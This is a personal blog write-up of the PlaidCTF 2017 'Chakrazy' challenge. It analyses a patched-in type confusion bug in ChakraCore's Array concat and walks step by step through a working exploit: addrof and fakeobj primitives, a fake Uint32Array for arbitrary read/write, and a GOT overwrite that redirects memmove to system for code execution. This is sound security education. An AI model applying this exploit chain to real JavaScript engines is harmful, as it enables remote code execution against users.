Chakrazy is a browser CTF challenge created by team PPP for the 2017 PlaidCTF event. It’s a challenge based on Microsoft’s ChakraCore Javascript engine. You can download the challenge file here.
Similar to my previous post, this post is more like a note about how I learn to exploit the type confusion vulnerability in the ChakraCore engine.
Pre-knowledge
It is recommanded that the reader have some basic knowledge about the type confusion bug and the internal data structures of the ChakraCore engine. Here are some slides from the 360Vulscan team and Natalie@Google Project Zero.
Environment Setting
- Ubuntu Linux 16.04 64 bit
- ChakraCore@dd33b4ceaf4b38b44d279d13988ecbd31df46ed2
- GEF debugger
Building and Debugging the ChakraCore engine
Building the ChakraCore engine is simple, just follow the instructions in the wiki page.
For a Debug build:
1
2
3
4
cd ChakraCore
git reset --hard dd33b4ceaf4b38b44d279d13988ecbd31df46ed2
patch -p1 < ../change.diff # apply the patch
./build.sh --debug
Later we’ll find the binaries in the out/Debug
directory. If you want a Release build with debug symbols, you’ll have to modified the CMakeLists.txt
:
1
2
3
4
5
6
7
8
9
# At line 355
if(NOT CMAKE_BUILD_TYPE STREQUAL Debug)
- add_compile_options(-O3)
+ add_compile_options(-O0)
+ add_compile_options(-finstrument-functions)
+ add_compile_options(-g)
+ add_compile_options(-ggdb)
else()
I modified the optimization flag to O0
because the O3
flag will optimized out the function parameter and causes some inconvenience during the debug process.
Here I chose to build the Release build with debug symbols, since it’s behavior is more close to the challenge binary ( which is a Release build with the O3
optimization flag ). Later we can just use
1
gef --args out/Debug/ch exploit.js
to debug the binary.
Analyzing the Vulnerability ( the patch )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
diff --git a/lib/Runtime/Library/JavascriptArray.cpp b/lib/Runtime/Library/JavascriptArray.cpp
index a666b0b..0e8a073 100644
--- a/lib/Runtime/Library/JavascriptArray.cpp
+++ b/lib/Runtime/Library/JavascriptArray.cpp
@@ -3151,12 +3151,6 @@ namespace Js
if (scriptContext->GetConfig()->IsES6IsConcatSpreadableEnabled())
{
spreadableCheckedAndTrue = JavascriptOperators::IsConcatSpreadable(aItem) != FALSE;
- if (!JavascriptNativeIntArray::Is(pDestArray))
- {
- ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest, spreadableCheckedAndTrue);
- return pDestArray;
- }
-
if(!spreadableCheckedAndTrue)
{
pDestArray->SetItem(idxDest, aItem, PropertyOperation_ThrowIfNotExtensible);
The code is in the JavascriptArray::ConcatIntArgs function, where pDestArray
’s data type is “suppose” to be JavascriptNativeIntArray
.
Here it removed the code that does the type checking of pDestArray
. There’s no need to do the type checking right ? Since pDestArray
will always be JavascriptNativeIntArray
isn’t it ? Well……
Analyzing the Exploit
We now start analyzing the challenge exploit code ( written by eboda ) and see how the exploit works. We’ll focus on the addrof
and the fakeobj
functions, since it’s the most important part of the entire exploit.
addrof
The addrof
function is used for leaking an object’s memory address. The most important part are the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
var cons = new Function();
cons[Symbol.species] = function() {
qq = []; // here qq is just a JavascriptNativeIntArray
return qq;
}
// using the species contructor allows us to get a handle on the result array
// of functions such as map() or concat()
a.constructor = cons;
// Here we define a custom getter for the Symbol.isConcatSpreadable property
// In it we change the type of qq by simply assigning an object to it
fakeProp = { get: function() {
b[1] = obj;
qq[0] = obj; // qq was JavascriptNativeIntArray, now changed to JavascriptArray
return true;
}};
Object.defineProperty(b, Symbol.isConcatSpreadable, fakeProp);
// trigger the vulnerability
var c = a.concat(b);
When the line var c = a.concat(b);
was executed, it will first call ArraySpeciesCreate(), which in this case will return a JavascriptNativeIntArray
( line 2~9 ). Then it will goto line 3497 and call ConcatIntArgs(), our vulnerability function.
There’s a for loop inside the ConcatIntArgs()
functions:
1
2
3
4
5
6
7
8
9
10
for (uint idxArg = 0; idxArg < args.Info.Count; idxArg++)
{
Var aItem = args[idxArg];
bool spreadableCheckedAndTrue = false;
if (scriptContext->GetConfig()->IsES6IsConcatSpreadableEnabled())
{
spreadableCheckedAndTrue = JavascriptOperators::IsConcatSpreadable(aItem) != FALSE;
if(!spreadableCheckedAndTrue)
Here the args
stores the array that will be concatenated to pDestArray
. For instance:
1
2
3
4
var c = a.concat(b);
// here pDestArray = c
// args[0] = a
// args[1] = b
According to the comments of the exploit:
1
2
3
4
5
6
7
8
9
10
// Here we define a custom getter for the Symbol.isConcatSpreadable property
// In it we change the type of qq by simply assigning an object to it
fakeProp = { get: function() {
b[1] = obj;
qq[0] = obj; // qq was JavascriptNativeIntArray, now changed to JavascriptArray
return true;
}};
// set b's Symbol.isConcatSpreadable to fakeProp
Object.defineProperty(b, Symbol.isConcatSpreadable, fakeProp);
So when aItem
= b
and ran to line JavascriptOperators::IsConcatSpreadable(aItem)
, it will change pDestArray
’s data type from JavascriptNativeIntArray
to JavascriptArray
. It’ll also change b
’s data type into JavascriptArray
, so later it can run to line JavascriptNativeIntArray::ConvertToVarArray(pDestArray);
.
We can see that JavascriptNativeIntArray::ConvertToVarArray’s first parameter is a JavascriptNativeIntArray
data type. But here we pass a JavascriptArray
data type variable instead, which leads to a type confusion vulnerability.
When ConvertToVarArray(pDestArray)
was called, the pDestArray
has the following memory layout:
1
2
3
4
5
6
7
8
9
10
11
gef➤ tel 0x00007ffff03d8320
0x00007ffff03d8320│+0x00: 0x0000000300000000
0x00007ffff03d8328│+0x08: 0x0000000000000011
0x00007ffff03d8330│+0x10: 0x0000000000000000
0x00007ffff03d8338│+0x18: 0x00007ffff03d8140 <-- dest[0]
0x00007ffff03d8340│+0x20: 0x0001000000000001 <-- dest[1]
0x00007ffff03d8348│+0x28: 0x0001000000000002 <-- dest[2]
0x00007ffff03d8350│+0x30: 0x8000000280000002
0x00007ffff03d8358│+0x38: 0x8000000280000002
0x00007ffff03d8360│+0x40: 0x8000000280000002
0x00007ffff03d8368│+0x48: 0x8000000280000002
Here dest[0]
stores the object’s address. Since the function “think” that pDestArray
is a JavscriptNativeIntArray
, it will take first three elements ( 0xf03d8140
, 0x7ffff
and 0x1
) and convert them into the form of the JavascriptArray
elements. After the conversion the memory layout will become something like:
1
2
3
4
5
6
7
gef➤ tel 0x00007ffff03d83c0
0x00007ffff03d83c0│+0x00: 0x0000000300000000
0x00007ffff03d83c8│+0x08: 0x0000000000000011
0x00007ffff03d83d0│+0x10: 0x0000000000000000
0x00007ffff03d83d8│+0x18: 0x00010000f03d8140 <-- dest[0] ( dest = c array )
0x00007ffff03d83e0│+0x20: 0x0001000000007fff <-- dest[1]
0x00007ffff03d83e8│+0x28: 0x0001000000000001 <-- dest[2]
Note that dest[0]
and dest[1]
now stores the value of the object’s address ( lower part and upper part ), thus we can leak the object’s memory address by combining c[0]
& c[1]
.
fakeobj
The goal of fakeobj
is to fake a Javascript object at an arbitrary address.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var a1 = [];
for (var i = 0; i < 0x100; i++) {
a1[i] = i;
}
var a2 = [lower(addr), upper(addr)]; // addr = arbitrary address
var c = new Function();
c[Symbol.species] = function() {
new_array = [];
return new_array;
};
a1.constructor = c;
a2.__defineGetter__(Symbol.isConcatSpreadable, function () {
new_array[0] = {};
return true;
});
var res = a1.concat(a2);
return res[0x100/2]; // res[128] = an object @ addr
Here when var res = a1.concat(a2);
was executed, the ChakraCore engine will ran to line 3176:
1
bool converted = CopyNativeIntArrayElements(pDestArray, idxDest, pItemArray);
Here pDestArray
is “suppose” to be a JavscriptNativeIntAarray
, but again, we pass the argument as a JavascriptArray
data type instead, causing the type confusion vulnerability.
Later the lower part and the upper part of the address ( a2[0]
& a2[1]
) will be appended into pDestArray
( in the form of int32
). The memory layout of res
array will become:
1
2
3
4
.......................
0x00007ffff02d8408│+0x10: 0x000100000000007e <-- res[126]
0x00007ffff02d8410│+0x18: 0x000100000000007f <-- res[127]
0x00007ffff02d8418│+0x20: 0x00007ffff03d84f0 <-- res[128]
Due to type confusion, now res
will be treated as JavascriptArray
and think that res[128]
is an object ( which its address = 0x00007ffff03d84f0
). By returning res[128]
we now have the fake object’s handle.
arbitrary read/write primitive
The exploit code first fake an Uint32Array
object, then modify its data buffer’s pointer to obtain the arbitrary read/write primitive. To fake an Uint32Array
object, it will need:
- Address of
Uint32Array
’s vtable. - A pointer point to
0x30
(Uint32Array
’s type id. Check this link for more information ) - A fake size
- An
ArrayBuffer
’s address - A fake data buffer pointer
From the exploit code we can see it use Array
to fake those data:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
...................
var real = new Array(16);
var real_addr = addrof(real);
// fake vtable pointer
real[0] = lower(uint_vtable);
real[1] = upper(uint_vtable);
// fake type pointer
real[2] = lower(array_type);
real[3] = upper(array_type);
// dont care
real[4] = 0;
real[5] = 0;
real[6] = 0;
real[7] = 0;
// fake size
real[8] = 0x1000;
real[9] = 0;
// fake ArrayBuffer pointer
real[10] = lower(ab_addr);
real[11] = upper(ab_addr);
// dont care
real[12] = 0;
real[13] = 0;
As for read/write primitive, it first assign the address in real[14]
& real[15]
to modify the data buffer’s pointer, then use fakeobj
to obtain the handle of the fake Uint32Array
object:
1
2
3
4
5
6
7
8
9
10
11
12
13
// the following creates an object which we will use to read and write
// memory arbitrarily
var memory = {
handle: fakeobj(real_addr + 0x58), // return fake object
init: function(addr) {
// we set the buffer pointer of the fake Uint32Array to the
// target address
real[14] = lower(addr);
real[15] = upper(addr);
// Now get a handle to the fake object!
return memory.handle;
},
Later it can just use the fake object handle to read/write the memory content.
getting shell
Here I modified the exploit code and use the same exploit method as the feuerfuchs challenge to get the shell:
- Leak the base address of
libChakraCore.so
- Get the base address of
libc.so
by leakingwrite@got.plt
- Overwrite
memmove@got.plt
tosystem
- Execute
system([cmd])
by callingUint8Array.set()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function pwn() {
// exploit the bug and create our arbitrary r/w primitive
var mem = gimme_rw();
// get the base of libChakraCore.so
var base = get_base(mem);
console.log("[+] base @ " + base.toString(16));
// the following offets are hardcoded
var memmove_got = base + 0xd9b0f0;
console.log("[+] memmove_got @ " + memmove_got.toString(16));
var write_got = base + 0xd9b780;
console.log("[+] write_got @ " + write_got.toString(16));
var write_addr = mem.read64(write_got);
console.log("[+] write_addr @ " + write_addr.toString(16));
var system = write_addr - 0xe3a100;
console.log("[+] system @ " + system.toString(16));
// now set up our command
var cmd = "/usr/bin/xcalc\0";
// write the command into a Uint8Array
var target = new Uint8Array(0x1234);
for (var i = 0; i < cmd.length; i++) {
target[i] = cmd.charCodeAt(i);
}
// overwrite memmove with system
mem.write32(memmove_got, lower(system));
mem.write32(memmove_got+4, upper(system));
// GIMME SHELL NOW
var bb = new Uint8Array(10);
target.set(bb);
}
The original exploit code overwrites two GOT entries ( memmove
& memset
) and tries to call execve("/bin/sh", argv, envp)
, which is more complicated ( but more stable, since it doesn’t need to know the version of libc.so
). Here I choose a more simple way to achieve RCE.
Summary
The patch removed the code that does the type checking inside the JavascriptArray::ConcatIntArgs()
function. This make us able to tamper the data type of pDestArray
by defining the property of Symbol.isConcatSpreadable
.
Here we modify pDestArray
’s data type from JavascriptNativeIntArray
to JavascriptArray
and trigger the type confusion bug. We can later exploit the bug to:
- Leak an object’s address
- Fake an object at an arbitrary address
To obtain the arbitrary read/write primitive, we fake an Uint32Array
object, modify its data buffer’s pointer and obtain its object handle. Later we can use this handle to read/write memory content. We then leak the address of libChakraCore.so
and libc.so
, calculate system
’s address and overwrite memmove
’s GOT to do the GOT hijacking & achieve RCE.
Epilogue
Learn a lot from this one. Type confusion bugs are very common vulnerabilities in the real-world softwares, and this challenge is a great example of how it will affect the security of the modern browsers.
Next stop: V9 !
Comments powered by Disqus.